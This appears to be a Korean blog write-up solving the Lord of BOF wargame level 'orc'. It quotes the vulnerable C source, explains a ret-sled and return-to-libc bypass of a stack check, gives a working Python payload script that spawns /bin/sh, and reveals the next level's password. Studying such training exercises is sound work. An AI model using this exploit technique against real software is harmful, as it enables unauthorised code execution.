ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Lord of BOF - Challenge [4번] Goblin -> Orc
    WARGAME/LORD OF BOF 2018. 6. 21. 16:07

    [Summary]

    1. 32행의 취약한 strcpy 함수를 이용하여 40 바이트의 buffer 배열에 40바이트 이상의 값을 입력함으로써 EIP 레지스터를 덮어씌울 수 있다.

    2. 22행의 egghunter를 우회하기 위해 buffer 배열(스택영역)에 ret(c3) 을 넣고 EIP 레지스터를 buffer 배열의 주소로 변조(ret sled)할 수 있다

    3. buffer 배열에 ret instruction(4) 와 dummy(40), system 함수의 주소, dummy(4), system 함수의 인자(/bin/sh)를 입력시킨 후 EIP 레지스터를 buffer 배열의 system 함수 부분의 주소로 변조하여 system 함수를 실행시킨다.

    4. 프로그램 실행 권한의 쉘을 획득하여 flag를 획득한다.

    [Sourcecode]

    /*
            The Lord of the BOF : The Fellowship of the BOF
            - orc
            - egghunter
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    
    extern char **environ;
    
    main(int argc, char *argv[])
    {
    	char buffer[40];
    	int i;
    
    	if(argc < 2){
    		printf("argv error\n");
    		exit(0);
    	}
    
    	// egghunter 
    	for(i=0; environ[i]; i++)
    		memset(environ[i], 0, strlen(environ[i]));
    
    	if(argv[1][47] != '\xbf')
    	{
    		printf("stack is still your friend.\n");
    		exit(0);
    	}
    
    	strcpy(buffer, argv[1]); 
    	printf("%s\n", buffer);
    }
    
    

    [Analysis]

    소스코드를 보게 되면 32행에서 버퍼의 길이제한을 두지 않아 bof 취약점이 발생한다. 그러나, 이번문제는 egghunter 를 추가하여 환경변수가 초기화되는 영역을 0으로 초기화 한다. 또한 26행에서 ret 주소를 스택영역으로만 변조할 수 있게 필터링을 한다.


    따라서, 필자는 RET Sled 기법을 이용하여 26행을 우회하고, RTL 을 이용하여 쉘을 획득할 것이다.


    RET Sled 를 하기 위해서는 아래 값들이 필요하다.

    1. ret instruction

    2. buffer 배열의 주소


    문제 바이너리를 gdb 로 attach 한뒤 main 함수의 마지막 ret instruction 을 확인한다.

    ※ set disassembly-flavor intel : gdb 에서 어셈표기방법을 intel 문법으로 세팅



    ※ ret instruction : 0xc3


    그 다음, buffer 배열의 주소를 확인한다.

    ※ bash2 명령을 사용하는 이유 : LOB 환경에서 0xFF 를 입력받아 메모리에 올라갈 경우 0xFF 가 아닌 0x00 으로 바뀌는 버그 방지

    ※ ulimit -c unlimited : 실행파일이 Segmentaion Fault 가 발생할 경우 Core 덤프 파일을 남기도록 하는 명령


    gdb 로 Core 덤프파일을 열어 buffer 배열의 주소를 확인한다.

    ※ buffer 배열의 시작 주소 : 0xbffffac0

    ※ Core 덤프로 buffer 배열의 주소를 확인하는 이유 : gdb 로 attach 하여 디버깅할 경우 배열의 주소가 다름(추후 이유 설명)


    RTL 을 하기 위해서는 아래 값들이 필요하다.

    1. system 함수 주소

    2. system 함수의 인자로 들어갈 /bin/sh 문자열의 주소


    (설명생략)


    ※ system - 0x40058ae0

    ※ /bin/sh - 0x400fbff9

    [Exploit]

    import os
    import struct
    
    p = lambda x : struct.pack("<I", x)
    
    ret     = 0x909090c3
    buffer  = 0xbffffac0
    system  = 0x40058ae0
    binsh   = 0x400fbff9
    
    payload = p(ret) + "A"*40 + p(buffer) + p(system) + "A"*4 + p(binsh)
    
    print payload
    


    orc : cantata


    [References]


Designed by Tistory.